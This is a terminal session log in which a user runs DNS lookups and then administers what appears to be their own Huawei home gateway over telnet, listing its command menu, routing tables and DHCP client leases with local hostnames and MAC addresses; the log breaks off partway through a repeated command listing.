k662c-20 log
panxf@LPT028958:~/code$ nslookup www.baidu.com
Server: 10.255.255.254
Address: 10.255.255.254#53
Non-authoritative answer:
www.baidu.com canonical name = www.a.shifen.com.
Name: www.a.shifen.com
Address: 180.101.51.73
Name: www.a.shifen.com
Address: 180.101.49.44
Name: www.a.shifen.com
Address: 240e:e9:6002:1fd:0:ff:b0e1:fe69
Name: www.a.shifen.com
Address: 240e:e9:6002:1ac:0:ff:b07e:36c5
panxf@LPT028958:~/code$ nslookup --help
*** Invalid option: -help
>
panxf@LPT028958:~/code$ dig +trace www.baidu.com
;; communications error to 10.255.255.254#53: timed out
;; communications error to 10.255.255.254#53: timed out
;; communications error to 10.255.255.254#53: timed out
; <<>> DiG 9.18.39-0ubuntu0.24.04.1-Ubuntu <<>> +trace www.baidu.com
;; global options: +cmd
;; no servers could be reached
panxf@LPT028958:~/code$ dig www.baidu.com
; <<>> DiG 9.18.39-0ubuntu0.24.04.1-Ubuntu <<>> www.baidu.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 32358
;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.baidu.com. IN A
;; ANSWER SECTION:
www.baidu.com. 474 IN CNAME www.a.shifen.com.
www.a.shifen.com. 551 IN A 180.101.51.73
www.a.shifen.com. 551 IN A 180.101.49.44
;; Query time: 38 msec
;; SERVER: 10.255.255.254#53(10.255.255.254) (UDP)
;; WHEN: Sat Sep 20 09:52:50 CST 2025
;; MSG SIZE rcvd: 104
panxf@LPT028958:~/code$ dig www.facebook.com
; <<>> DiG 9.18.39-0ubuntu0.24.04.1-Ubuntu <<>> www.facebook.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 65282
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;www.facebook.com. IN A
;; ANSWER SECTION:
www.facebook.com. 216 IN A 104.16.251.55
;; Query time: 28 msec
;; SERVER: 10.255.255.254#53(10.255.255.254) (UDP)
;; WHEN: Sat Sep 20 09:53:19 CST 2025
;; MSG SIZE rcvd: 50
panxf@LPT028958:~/code$
panxf@LPT028958:~/code$
panxf@LPT028958:~/code$ dig www.x.com
; <<>> DiG 9.18.39-0ubuntu0.24.04.1-Ubuntu <<>> www.x.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 51370
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; MBZ: 0x0001, udp: 1232
;; QUESTION SECTION:
;www.x.com. IN A
;; ANSWER SECTION:
www.x.com. 1 IN A 198.18.0.27
;; Query time: 12 msec
;; SERVER: 10.255.255.254#53(10.255.255.254) (UDP)
;; WHEN: Sat Sep 20 19:32:32 CST 2025
;; MSG SIZE rcvd: 54
panxf@LPT028958:~/code$ dig www.facebook.com
; <<>> DiG 9.18.39-0ubuntu0.24.04.1-Ubuntu <<>> www.facebook.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 26845
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; MBZ: 0x0001, udp: 1232
;; QUESTION SECTION:
;www.facebook.com. IN A
;; ANSWER SECTION:
www.facebook.com. 1 IN A 198.18.0.14
;; Query time: 16 msec
;; SERVER: 10.255.255.254#53(10.255.255.254) (UDP)
;; WHEN: Sat Sep 20 19:32:50 CST 2025
;; MSG SIZE rcvd: 61
panxf@LPT028958:~/code$ telnet 192.168.1.9
Trying 192.168.1.9...
Connected to 192.168.1.9.
Escape character is '^]'.
Welcome Visiting Huawei Home Gateway
Copyright by Huawei Technologies Co., Ltd.
Login:root
Password:
Password is default value, please modify it!
WAP>
Last login: User:root IP:192.168.1.20 Time:2025-09-14 02:03:49
WAP>
WAP>su
success!
SU_WAP>
SU_WAP>
SU_WAP>?
acc get accesslimit
add wifi filter
amp add policy-stats pon
amp add policy-stats port
amp add stats gemport
amp clear policy-stats pon
amp clear policy-stats port
amp clear stats gemport
amp del policy-stats pon
amp del policy-stats port
amp del stats gemport
ampcmd show emac stat
ampcmd show flow all
ampcmd show flow index
ampcmd show log
ampcmd trace all
ampcmd trace cli
ampcmd trace dpoe
ampcmd trace drv
ampcmd trace emac
ampcmd trace emap
ampcmd trace eth
ampcmd trace gmac
ampcmd trace gmap
ampcmd trace onu
ampcmd trace optic
ampcmd trace qos
appmcmd debug
appmcmd regplat
appmcmd show
arping
bbsp add policy-stats btv
bbsp clear policy-stats btv all
bbsp clear policy-stats wan
bbsp del policy-stats btv
bbspara
bbspcmd
Broadband debug
Broadband display
btv start period-stats
btv stop period-stats
chipdebug
chipdebug clearall
chipdebug soc drop
chipdebug soc rx
chipdebug soc tx
clear amp pq-stats
clear lastword
clear pon statistics
clear poncnt dnstatistic
clear poncnt gemport upstatistic
clear poncnt upstatistic
clear port statistics
clear rogue flag
clear sfwd drop statistics
collect debug info
component delete all
ctrgcmd debug
ctrgcmd send
ctrgcmd show
debug dsp down msg
debug dsp msg
debug dsp up msg
debug ifm
debug qoscfg
debug rtp stack
debug sample mediastar
debugging dsp diagnose
debugging dsp para diagnose
debugging dsp record
debugging dsp t38diag
del wifi filter
dhcp client attach
dhcp client detach
dhcp client6 attach
dhcp client6 detach
dhcp server pool config
dhcp server pool disable
dhcp server pool enable
dhcp server pool lease config
dhcp server pool option add
dhcp server pool option del
dhcp server pool option flush
dhcp server pool restart
diagnose
display access mode
display access system info
display aclservicesrule
display amp policy-stats pon
display amp policy-stats port
display amp pq-stats
display amp stats gemport
display apmChipStatus
display appcert info
display backup list
display batteryStatus
display bbsp log
display bbsp stats btv
display bbsp stats wan
display bms
display bmsxml crc
display board-temperatures
display board2Item
display boardItem
display bomItem
display broadband info
display childcert info
display connection
display connection all
display cpu info
display current-configuration
display cwmp debug
display cwmp status
display ddns info
display debug info dhcp6c
display debug info dhcp6s
display debug info pppoev6
display debug info ra
display debuglog info
display debugwifilog info
display device-cert info
display deviceInfo
display dhcp client
display dhcp client all
display dhcp client6
display dhcp client6 all
display dhcp server pool
display dhcp server pool all
display dhcp server pool option
display dhcp server static
display dhcp server user
display dhcp server user all
display dhcp_em result
display diagnose info
display dns proxy info
display dnsserver static domain
display dpst
display dpst all
display dsp channel para
display dsp channel running status
display dsp channel status
display dsp chip stat
display dsp codec status
display dsp interrupt stat
display dynamic route
display eaiinfo
display edge_ont info
display epon ont info
display femPar info
display femPar version
display ffwd table
display file
display filter rf
display firewall rule
display flashlock status
display flow
display ftp config status
display if
display igmp
display igmp config
display inner version
display ip interface
display ip neigh
display ip route
display ip6tables filter
display iptables filter
display iptables mangle
display iptables nat
display iptables raw
display jb grid status
display jb para
display lan mac filter
display lanmac
display lanport workmode
display last call log
display lastword
display log info
display mac ap
display mac ap brief
display macaddress
display macaddress timer
display machineItem
display memory detail
display memory info
display microwave ctrl info
display msg-queue
display nat port mapping
display NCE info
display nff log
display oaml2shell ethvlan
display onu info
display optic
display optmode
display ploam-password
display policy route all
display pon statistics
display poncnt dnstatistic
display poncnt gemport upstatistic
display poncnt upstatistic
display port statistics
display portstatistics
display ppp interface
display pppoe client
display pppoe client all
display pppoe_em result
display productmac
display progress load
display rf config
display rfpi
display rootcert info
display rtp stack channel stat
display rtp stack chip stat
display rtp stack para
display rtp stack version
display sfwd drop statistics
display sfwd port statistics
display sn
display specsn
display ssh authentication-type
display ssh-hostkey fingerprint
display startcode version
display startup info
display swm bootstate
display swm state
display sysinfo
display syslog
display system info
display timeout
display timer
display tr069 info
display version
display voicelinetest
display voip dsp jbdata
display voip dsp para diagnose state
display voip dsp para diagnose statistics
display voip dsp tonedetect
display voip dtmfdiag state
display voip dtmfsimpara
display voip info
display voip rightflag
display voip ring info
display voip rtpdiag
display voip tone info
display wan layer all
display waninfo
display waninfo all
display waninfo all detail
display wanmac
display wifi ap
display wifi associate
display wifi calibrate mode
display wifi filter
display wifi information
display wifi multicast
display wifi neighbor
display wifi pa type
display wifi radio
display wifi smartant status
display wifichip
display wlan config
display wlan staevent
display wlan stainfo
display wlanmac
display zsp version
dnsserver add static
dnsserver delete static
firewall log
flush dhcp server pool
flush dnsserver cache
get ap retrans
get battery alarm policy
get battery alarm status
get ip conntrack
get mac agingtime
get ont oamfrequency
get opm switch
get optic debug info
get optic par info
get optic phy type
get optic txmode
get poncnt upgemport
get port config
get port isolate
get rogue status
get testself
get wifi atm
get wifi para
get wlan advance
get wlan associated
get wlan basic
get wlan enable
get wlan isolate
get wlan stats
get wlan wps
ifconfig
igmp add mirror filter
igmp clear statistics
igmp del mirror filter
igmp disable
igmp enable
igmp get debug switch
igmp get flow info
igmp get global cfg
igmp get iptv
igmp get mirror filter ip
igmp get multilmac
igmp get port multicast config
igmp get statistics
igmp set debug switch
igmp set iptv
ip -6 neigh
ip -6 route
ip -6 rule
ip interface config
ip neigh
ip neigh add
ip neigh delete
ip neigh flush
ip route
ip route show
ip rule
jvmcmd map histo
jvmcmd stack trace
jvmcmd stat
lan mac filter add
lan mac filter delete
lan mac filter disable
lan mac filter enable
lan mac filter flush
load fem par
load pack
load ssh-pubkey
logout
macaddress
make ssh hostkey
mid get
mid off
mid set
napt cli
netstat -na
nslookup
oam show eventlog
oamcmd clear log
oamcmd debug
oamcmd error log
oamcmd pdt show log
oamcmd show flow
oamcmd show log
omcicmd alarm show
omcicmd clear log
omcicmd debug
omcicmd error log
omcicmd mib show
omcicmd pdt show log
omcicmd pm show
omcicmd show flow
omcicmd show log
omcicmd show qos
osgicmd debug
osgicmd get debug
osgicmd plugin permission
osgicmd set debug
osgicmd show bundleresource
osgicmd show bundlestate
ping
plugcmd show state
plugcmd start
plugcmd stop
plugcmd uninstall
plugincmd debug
ppp interface config
pppoe client attach
pppoe client detach
qoscfg get
quit
reset
restore backup
restore manufactory
route get default
route get static
save data
save log
session cli
set ap retrans
set apssh
set aptelnet
set cwmp debug
set ethportmirror
set flashlock
set iaccess speed
set led
set microwave ctrl
set nce
set newparentalctrl
set newparentalctrl stats
set opticdata
set port isolate
set portmirror
set ringchk
set ssid
set timeout
set userpasswd
set voice announcement
set voice dtmfmethod
set voicedebug
set voicedsploop
set voicelinetest
set voiceportloop
set voicesignalingprint
set voip clip
set voip dsptemplate
set voip dtmfdebug
set voip dtmfdetfilter
set voip dtmfdiag start
set voip dtmfdiag stop
set voip dtmfsimpara
set voip dtmfsimu start
set voip dtmfsimu stop
set voip fax T38
set voip faxmodem switch
set voip highpassfilter
set voip portgain
set voip rtpdiag
set voip sipprofile
set wifi ap optimize
set wifi atm
set wifi expert
set wifi filter
set wifi para
set wifi radio
set wlan basic
set wlan enable
set wlan isolate
set wlan staboost
sfwd port statistics
shell
show diagnose
ssh authentication-type
ssh remote
start diagnose
stats clear
stats display
stop diagnose
su
telnet remote
test apdev
test tr069 inform end
test tr069 inform start
traceroute
trafficdump
udm clear log
udm show log
undo debugging dsp diagnose
undo debugging dsp para diagnose
undo debugging dsp record
undo debugging dsp t38diag
undo firewall log
voice net diagnose start
voice remote diagnose server set
voice remote diagnose set
vspa clear rtp statistics
vspa debug
vspa display conference info
vspa display digitmap info
vspa display dsp running info
vspa display dsp state
vspa display dsp template info
vspa display mg if state
vspa display mg info
vspa display online user info
vspa display port status
vspa display profilebody info
vspa display rtp statistics
vspa display service log
vspa display signal scene info
vspa display signal scene list
vspa display user call state
vspa display user status
vspa reset
vspa shutdown mg
wap list
wap ps
wap top
wifi smartant set
SU_WAP>route static ?
SU_WAP>route ?
route get default
route get static
SU_WAP>rouroute get sttati
ERROR::Command is not existed
SU_WAP>route get static
ERROR::Route does not exist
SU_WAP>route get static ?
route get static instance [instanceid]
SU_WAP>route get static instance ?
SU_WAP>route get static instance 0
ERROR::Route does not exist
SU_WAP>route get static instance 01
ERROR::Route does not exist
SU_WAP>route get static instance 01 ip
ERROR::invalid instance value
SU_WAP>ip ?
ip -6 neigh
ip -6 route
ip -6 rule
ip interface config
ip neigh
ip neigh add
ip neigh delete
ip neigh flush
ip route
ip route show
ip rule
SU_WAP>ip route show?
[Command]:ip route show [table table_name|table_id]
SU_WAP>ip route show table ?
SU_WAP>ip r
ERROR::Command is not existed
SU_WAP>ip interface config
ERROR::Input para is not right
SU_WAP>ip route show
default via 192.168.1.1 dev wan1 table 100
192.168.2.0/24 dev br0 table 100 scope link src 192.168.1.9
blackhole default table 200 metric 150
default via 192.168.1.1 dev wan1 table lan1 metric 100
blackhole default table lan1 metric 150
192.168.2.0/24 dev br0 table lan1 scope link
default via 192.168.1.1 dev wan1 metric 10
192.168.1.0/24 dev wan1 scope link src 192.168.1.9
192.168.2.0/24 dev br0 scope link src 192.168.2.1
broadcast 127.0.0.0 dev lo table local scope link src 127.0.0.1
local 127.0.0.0/8 dev lo table local scope host src 127.0.0.1
local 127.0.0.1 dev lo table local scope host src 127.0.0.1
broadcast 127.255.255.255 dev lo table local scope link src 127.0.0.1
broadcast 169.254.254.0 dev lo table local scope link src 169.254.254.182
local 169.254.254.0/24 dev lo table local scope host src 169.254.254.182
local 169.254.254.182 dev lo table local scope host src 169.254.254.182
broadcast 169.254.254.255 dev lo table local scope link src 169.254.254.182
broadcast 192.168.1.0 dev wan1 table local scope link src 192.168.1.9
local 192.168.1.9 dev wan1 table local scope host src 192.168.1.9
broadcast 192.168.1.255 dev wan1 table local scope link src 192.168.1.9
broadcast 192.168.2.0 dev br0 table local scope link src 192.168.2.1
local 192.168.2.1 dev br0 table local scope host src 192.168.2.1
broadcast 192.168.2.255 dev br0 table local scope link src 192.168.2.1
unreachable default dev lo metric -1 error -101
fe80::/64 dev br0 metric 256
fe80::/64 dev vap0 metric 256
fe80::/64 dev vap3 metric 256
fe80::/64 dev vap4 metric 256
fe80::/64 dev vap7 metric 256
unreachable default dev lo metric -1 error -101
local ::1 dev lo table local metric 0
anycast fe80:: dev lo table local metric 0
local fe80::101 dev lo table local metric 0
local fe80::fa2e:3fff:feee:4895 dev lo table local metric 0
local fe80::fa2e:3fff:feee:489c dev lo table local metric 0
local fe80::fa2e:3fff:feee:489f dev lo table local metric 0
local fe80::fa2e:3fff:feee:48a0 dev lo table local metric 0
local fe80::fa2e:3fff:feee:48a3 dev lo table local metric 0
ff00::/8 dev eth0 table local metric 256
ff00::/8 dev br0 table local metric 256
ff00::/8 dev vap0 table local metric 256
ff00::/8 dev vap3 table local metric 256
ff00::/8 dev vap4 table local metric 256
ff00::/8 dev vap7 table local metric 256
unreachable default dev lo metric -1 error -101
success!
SU_WAP>route ?
route get default
route get static
SU_WAP>
SU_WAP>display dhcp server ?
display dhcp server pool
display dhcp server pool all
display dhcp server pool option
display dhcp server static
display dhcp server user
display dhcp server user all
SU_WAP>display dhcp server poll all
ERROR::Command is not existed
SU_WAP>display dhcp server static
-----------------------------------------------------------------
Index HW Addr IP
-----------------------------------------------------------------
-----------------------------------------------------------------
Total: 0
success!
SU_WAP>display dhcp server pool all
----------------------------------------------------------------------
Index DHCP Server Netmask State
----------------------------------------------------------------------
1 192.168.2.1 255.255.255.0 up
2 -- -- down
----------------------------------------------------------------------
Total: 2
success!
SU_WAP>display dhcp server pool ?
display dhcp server pool
display dhcp server pool all
display dhcp server pool option
SU_WAP>display dhcp server pool option
ERROR::pool does not exist
SU_WAP>display dhcp server pool option
ERROR::pool does not exist
SU_WAP>display dhcp server pool all
----------------------------------------------------------------------
Index DHCP Server Netmask State
----------------------------------------------------------------------
1 192.168.2.1 255.255.255.0 up
2 -- -- down
----------------------------------------------------------------------
Total: 2
success!
SU_WAP>display dhcp server user all
start detecting lan dev ...
----------------------------------------------------------------------
Index User IP Host HW Addr Expire-time
Port Name
----------------------------------------------------------------------
1 LAN3 192.168.2.64 panxf 54:ee:75:31:40:45 2 days, 11:48:48
2 SSID1 192.168.2.187 Bouffa 24:94:94:e9:00:a7 2 days, 03:17:56
3 SSID3 192.168.2.137 -- ba:6e:c3:ca:aa:ff 1 days, 14:30:26
4 SSID3 192.168.2.173 LPT028 70:15:fb:a0:de:80 2 days, 13:50:16
5 SSID1 192.168.2.9 wentek c8:f6:50:12:28:09 2 days, 20:23:43
6 SSID1 192.168.2.126 iPhone 9a:8c:9a:7f:2d:f1 2 days, 23:23:05
7 SSID1 192.168.2.33 wentek 88:2d:53:1b:53:8f 2 days, 19:09:17
8 SSID5 192.168.2.27 vivo-S 72:2f:d5:f8:0b:d6 2 days, 02:18:08
9 SSID3 192.168.2.58 Xiaodu 04:e7:95:53:86:5e 2 days, 19:09:52
10 SSID3 192.168.2.31 mini-P 00:e0:6f:69:f4:f0 2 days, 02:22:16
----------------------------------------------------------------------
Total: 10
success!
SU_WAP>?
acc get accesslimit
add wifi filter
amp add policy-stats pon
amp add policy-stats port
amp add stats gemport
amp clear policy-stats pon
amp clear policy-stats port
amp clear stats gemport
amp del policy-stats pon
amp del policy-stats port
amp del stats gemport
ampcmd show emac stat
ampcmd show flow all
ampcmd show flow index
ampcmd show log
ampcmd trace all
ampcmd trace cli
ampcmd trace dpoe
ampcmd trace drv
ampcmd trace emac
ampcmd trace emap
ampcmd trace eth
ampcmd trace gmac
ampcmd trace gmap
ampcmd trace onu
ampcmd trace optic
ampcmd trace qos
appmcmd debug
appmcmd regplat
appmcmd show
arping
bbsp add policy-stats btv
bbsp clear policy-stats btv all
bbsp clear policy-stats wan
bbsp del policy-stats btv
bbspara
bbspcmd
Broadband debug
Broadband display
btv start period-stats
btv stop period-stats
chipdebug
chipdebug clearall
chipdebug soc drop
chipdebug soc rx
chipdebug soc tx
clear amp pq-stats
clear lastword
clear pon statistics
clear poncnt dnstatistic
clear poncnt gemport upstatistic
clear poncnt upstatistic
clear port statistics
clear rogue flag
clear sfwd drop statistics
collect debug info
component delete all
ctrgcmd debug
ctrgcmd send
ctrgcmd show
debug dsp down msg
debug dsp msg
debug dsp up msg
debug ifm
debug qoscfg
debug rtp stack
debug sample mediastar
debugging dsp diagnose
debugging dsp para diagnose
debugging dsp record
debugging dsp t38diag
del wifi filter
dhcp client attach
dhcp client detach
dhcp client6 attach
dhcp client6 detach
dhcp server pool config
dhcp server pool disable
dhcp server pool enable
dhcp server pool lease config
dhcp server pool option add
dhcp server pool option del
dhcp server pool option flush
dhcp server pool restart
diagnose
display access mode
display access system info
display aclservicesrule
display amp policy-stats pon
display amp policy-stats port
display amp pq-stats
display amp stats gemport
display apmChipStatus
display appcert info
display backup list
display batteryStatus
display bbsp log
display bbsp stats btv
display bbsp stats wan
display bms
display bmsxml crc
display board-temperatures
display board2Item
display boardItem
display bomItem
display broadband info
display childcert info
display connection
display connection all
display cpu info
display current-configuration
display cwmp debug
display cwmp status
display ddns info
display debug info dhcp6c
display debug info dhcp6s
display debug info pppoev6
display debug info ra
display debuglog info
display debugwifilog info
display device-cert info
display deviceInfo
display dhcp client
display dhcp client all
display dhcp client6
display dhcp client6 all
display dhcp server pool
display dhcp server pool all
display dhcp server pool option
display dhcp server static
display dhcp server user
display dhcp server user all
display dhcp_em result
display diagnose info
display dns proxy info
display dnsserver static domain
display dpst
display dpst all
display dsp channel para
display dsp channel running status
display dsp channel status
display dsp chip stat
display dsp codec status
display dsp interrupt stat
display dynamic route
display eaiinfo
display edge_ont info
display epon ont info
display femPar info
display femPar version
display ffwd table
display file
display filter rf
display firewall rule
display flashlock status
display flow
display ftp config status
display if
display igmp
display igmp config
display inner version
display ip interface
display ip neigh
display ip route
display ip6tables filter
display iptables filter
display iptables mangle
display iptables nat
display iptables raw
display jb grid status
display jb para
display lan mac filter
display lanmac
display lanport workmode
display last call log
display lastword
display log info
display mac ap
display mac ap brief
display macaddress
display macaddress timer
display machineItem
display memory detail
display memory info
display microwave ctrl info
display msg-queue
display nat port mapping
display NCE info
display nff log
display oaml2shell ethvlan
display onu info
display optic
display optmode
display ploam-password
display policy route all
display pon statistics
display poncnt dnstatistic
display poncnt gemport upstatistic
display poncnt upstatistic
display port statistics
display portstatistics
display ppp interface
display pppoe client
display pppoe client all
display pppoe_em result
display productmac
display progress load
display rf config
display rfpi
display rootcert info
display rtp stack channel stat
display rtp stack chip stat
display rtp stack para
display rtp stack version
display sfwd drop statistics
display sfwd port statistics
display sn
display specsn
display ssh authentication-type
display ssh-hostkey fingerprint
display startcode version
display startup info
display swm bootstate
display swm state
display sysinfo
display syslog
display system info
display timeout
display timer
display tr069 info
display version
display voicelinetest
display voip dsp jbdata
display voip dsp para diagnose state
display voip dsp para diagnose statistics
display voip dsp tonedetect
display voip dtmfdiag state
display voip dtmfsimpara
display voip info
display voip rightflag
display voip ring info
display voip rtpdiag
display voip tone info
display wan layer all
display waninfo
display waninfo all
display waninfo all detail
display wanmac
display wifi ap
display wifi associate
display wifi calibrate mode
display wifi filter
display wifi information
display wifi multicast
display wifi neighbor
display wifi pa type
display wifi radio
display wifi smartant status
display wifichip
display wlan config
display wlan staevent
display wlan stainfo
display wlanmac
display zsp version
dnsserver add static
dnsserver delete static
firewall log
flush dhcp server pool
flush dnsserver cache
get ap retrans
get battery alarm policy
get battery alarm status
get ip conntrack
get mac agingtime
get ont oamfrequency
get opm switch
get optic debug info
get optic par info
get optic phy type
get optic txmode
get poncnt upgemport
get port config
get port isolate
get rogue status
get testself
get wifi atm
get wifi para
get wlan advance
get wlan associated
get wlan basic
get wlan enable
get wlan isolate
get wlan stats
get wlan wps
ifconfig
igmp add mirror filter
igmp clear statistics
igmp del mirror filter
igmp disable
igmp enable
igmp get debug switch
igmp get flow info
igmp get global cfg
igmp get iptv
igmp get mirror filter ip
igmp get multilmac
igmp get port multicast config
igmp get statistics
igmp set debug switch
igmp set iptv
ip -6 neigh
ip -6 route
ip -6 rule
ip interface config
ip neigh
ip neigh add
ip neigh delete
ip neigh flush
ip route
ip route show
ip rule
jvmcmd map histo
jvmcmd stack trace
jvmcmd stat
lan mac filter add
lan mac filter delete
lan mac filter disable
lan mac filter enable
lan mac filter flush
load fem par
load pack
load ssh-pubkey
logout
macaddress
make ssh hostkey
mid get
mid off
mid set
napt cli
netstat -na
nslookup
oam show eventlog
oamcmd clear log
oamcmd debug
oamcmd error log
oamcmd pdt show log
oamcmd show flow
oamcmd show log
omcicmd alarm show
omcicmd clear log
omcicmd debug
omcicmd error log
omcicmd mib show
omcicmd pdt show log
omcicmd pm show
omcicmd show flow
omcicmd show log
omcicmd show qos
osgicmd debug
osgicmd get debug
osgicmd plugin permission
osgicmd set debug
osgicmd show bundleresource
osgicmd show bundlestate
ping
plugcmd show state
plugcmd start
plugcmd stop
plugcmd uninstall
plugincmd debug
ppp interface config
pppoe client attach
pppoe client detach
qoscfg get
quit
reset
restore backup
restore manufactory
route get default
route get static
save data
save log
session cli
set ap retrans
set apssh
set aptelnet
set cwmp debug
set ethportmirror
set flashlock
set iaccess speed
set led
set microwave ctrl
set nce
set newparentalctrl
set newparentalctrl stats
set opticdata
set port isolate
set portmirror
set ringchk
set ssid
set timeout
set userpasswd
set voice announcement
set voice dtmfmethod
set voicedebug
set voicedsploop
set voicelinetest
set voiceportloop
set voicesignalingprint
set voip clip
set voip dsptemplate
set voip dtmfdebug
set voip dtmfdetfilter
set voip dtmfdiag start
set voip dtmfdiag stop
set voip dtmfsimpara
set voip dtmfsimu start
set voip dtmfsimu stop
set voip fax T38
set voip faxmodem switch
set voip highpassfilter
set voip portgain
set voip rtpdiag
set voip sipprofile
set wifi ap optimize
set wifi atm
set wifi expert
set wifi filter
set wifi para
set wifi radio
set wlan basic
set wlan enable
set wlan isolate
set wlan staboost
sfwd port statistics
shell
show diagnose
ssh authentication-type
ssh remote
start diagnose
stats clear
stats display
stop diagnose
su
telnet remote
test apdev
test tr069 inform end
test tr069 inform start
traceroute
trafficdump
udm clear log
udm show log
undo debugging dsp diagnose
undo debugging dsp para diagnose
undo debugging dsp record
undo debugging dsp t38diag
undo firewall log
voice net diagnose start
voice remote diagnose server set
voice remote diagnose set
vspa clear rtp statistics
vspa debug
vspa display conference info
vspa display digitmap info
vspa display dsp running info
vspa display dsp state
vspa display dsp template info
vspa display mg if state
vspa display mg info
vspa display online user info
vspa display port status
vspa display profilebody info
vspa display rtp statistics
vspa display service log
vspa display signal scene info
vspa display signal scene list
vspa display user call state
vspa display user status
vspa reset
vspa shutdown mg
wap list
wap ps
wap top
wifi smartant set
SU_WAP>m
ERROR::Command is not existed
SU_WAP>ip route add ?
SU_WAP>ip route ?
ip route
ip route show
SU_WAP>ip route
default via 192.168.1.1 dev wan1 metric 10
192.168.1.0/24 dev wan1 scope link src 192.168.1.9
192.168.2.0/24 dev br0 scope link src 192.168.2.1
success!
SU_WAP>ip route add 192.168.0.0/16 via 192.168.2.137 dev br0
ERROR::input para is not right!
SU_WAP>ip route show
default via 192.168.1.1 dev wan1 table 100
192.168.2.0/24 dev br0 table 100 scope link src 192.168.1.9
blackhole default table 200 metric 150
default via 192.168.1.1 dev wan1 table lan1 metric 100
blackhole default table lan1 metric 150
192.168.2.0/24 dev br0 table lan1 scope link
default via 192.168.1.1 dev wan1 metric 10
192.168.1.0/24 dev wan1 scope link src 192.168.1.9
192.168.2.0/24 dev br0 scope link src 192.168.2.1
broadcast 127.0.0.0 dev lo table local scope link src 127.0.0.1
local 127.0.0.0/8 dev lo table local scope host src 127.0.0.1
local 127.0.0.1 dev lo table local scope host src 127.0.0.1
broadcast 127.255.255.255 dev lo table local scope link src 127.0.0.1
broadcast 169.254.254.0 dev lo table local scope link src 169.254.254.182
local 169.254.254.0/24 dev lo table local scope host src 169.254.254.182
local 169.254.254.182 dev lo table local scope host src 169.254.254.182
broadcast 169.254.254.255 dev lo table local scope link src 169.254.254.182
broadcast 192.168.1.0 dev wan1 table local scope link src 192.168.1.9
local 192.168.1.9 dev wan1 table local scope host src 192.168.1.9
broadcast 192.168.1.255 dev wan1 table local scope link src 192.168.1.9
broadcast 192.168.2.0 dev br0 table local scope link src 192.168.2.1
local 192.168.2.1 dev br0 table local scope host src 192.168.2.1
broadcast 192.168.2.255 dev br0 table local scope link src 192.168.2.1
unreachable default dev lo metric -1 error -101
fe80::/64 dev br0 metric 256
fe80::/64 dev vap0 metric 256
fe80::/64 dev vap3 metric 256
fe80::/64 dev vap4 metric 256
fe80::/64 dev vap7 metric 256
unreachable default dev lo metric -1 error -101
local ::1 dev lo table local metric 0
anycast fe80:: dev lo table local metric 0
local fe80::101 dev lo table local metric 0
local fe80::fa2e:3fff:feee:4895 dev lo table local metric 0
local fe80::fa2e:3fff:feee:489c dev lo table local metric 0
local fe80::fa2e:3fff:feee:489f dev lo table local metric 0
local fe80::fa2e:3fff:feee:48a0 dev lo table local metric 0
local fe80::fa2e:3fff:feee:48a3 dev lo table local metric 0
ff00::/8 dev eth0 table local metric 256
ff00::/8 dev br0 table local metric 256
ff00::/8 dev vap0 table local metric 256
ff00::/8 dev vap3 table local metric 256
ff00::/8 dev vap4 table local metric 256
ff00::/8 dev vap7 table local metric 256
unreachable default dev lo metric -1 error -101
success!
SU_WAP>ip ROUTE
default via 192.168.1.1 dev wan1 metric 10
192.168.1.0/24 dev wan1 scope link src 192.168.1.9
192.168.2.0/24 dev br0 scope link src 192.168.2.1
success!
SU_WAP>ip route add ?
SU_WAP>ip route add
ERROR::input para is not right!
SU_WAP>ip route add
ERROR::input para is not right!
SU_WAP>?
acc get accesslimit
add wifi filter
amp add policy-stats pon
amp add policy-stats port
amp add stats gemport
amp clear policy-stats pon
amp clear policy-stats port
amp clear stats gemport
amp del policy-stats pon
amp del policy-stats port
amp del stats gemport
ampcmd show emac stat
ampcmd show flow all
ampcmd show flow index
ampcmd show log
ampcmd trace all
ampcmd trace cli
ampcmd trace dpoe
ampcmd trace drv
ampcmd trace emac
ampcmd trace emap
ampcmd trace eth
ampcmd trace gmac
ampcmd trace gmap
ampcmd trace onu
ampcmd trace optic
ampcmd trace qos
appmcmd debug
appmcmd regplat
appmcmd show
arping
bbsp add policy-stats btv
bbsp clear policy-stats btv all
bbsp clear policy-stats wan
bbsp del policy-stats btv
bbspara
bbspcmd
Broadband debug
Broadband display
btv start period-stats
btv stop period-stats
chipdebug
chipdebug clearall
chipdebug soc drop
chipdebug soc rx
chipdebug soc tx
clear amp pq-stats
clear lastword
clear pon statistics
clear poncnt dnstatistic
clear poncnt gemport upstatistic
clear poncnt upstatistic
clear port statistics
clear rogue flag
clear sfwd drop statistics
collect debug info
component delete all
ctrgcmd debug
ctrgcmd send
ctrgcmd show
debug dsp down msg
debug dsp msg
debug dsp up msg
debug ifm
debug qoscfg
debug rtp stack
debug sample mediastar
debugging dsp diagnose
debugging dsp para diagnose
debugging dsp record
debugging dsp t38diag
del wifi filter
dhcp client attach
dhcp client detach
dhcp client6 attach
dhcp client6 detach
dhcp server pool config
dhcp server pool disable
dhcp server pool enable
dhcp server pool lease config
dhcp server pool option add
dhcp server pool option del
dhcp server pool option flush
dhcp server pool restart
diagnose
display access mode
display access system info
display aclservicesrule
display amp policy-stats pon
display amp policy-stats port
display amp pq-stats
display amp stats gemport
display apmChipStatus
display appcert info
display backup list
display batteryStatus
display bbsp log
display bbsp stats btv
display bbsp stats wan
display bms
display bmsxml crc
display board-temperatures
display board2Item
display boardItem
display bomItem
display broadband info
display childcert info
display connection
display connection all
display cpu info
display current-configuration
display cwmp debug
display cwmp status
display ddns info
display debug info dhcp6c
display debug info dhcp6s
display debug info pppoev6
display debug info ra
display debuglog info
display debugwifilog info
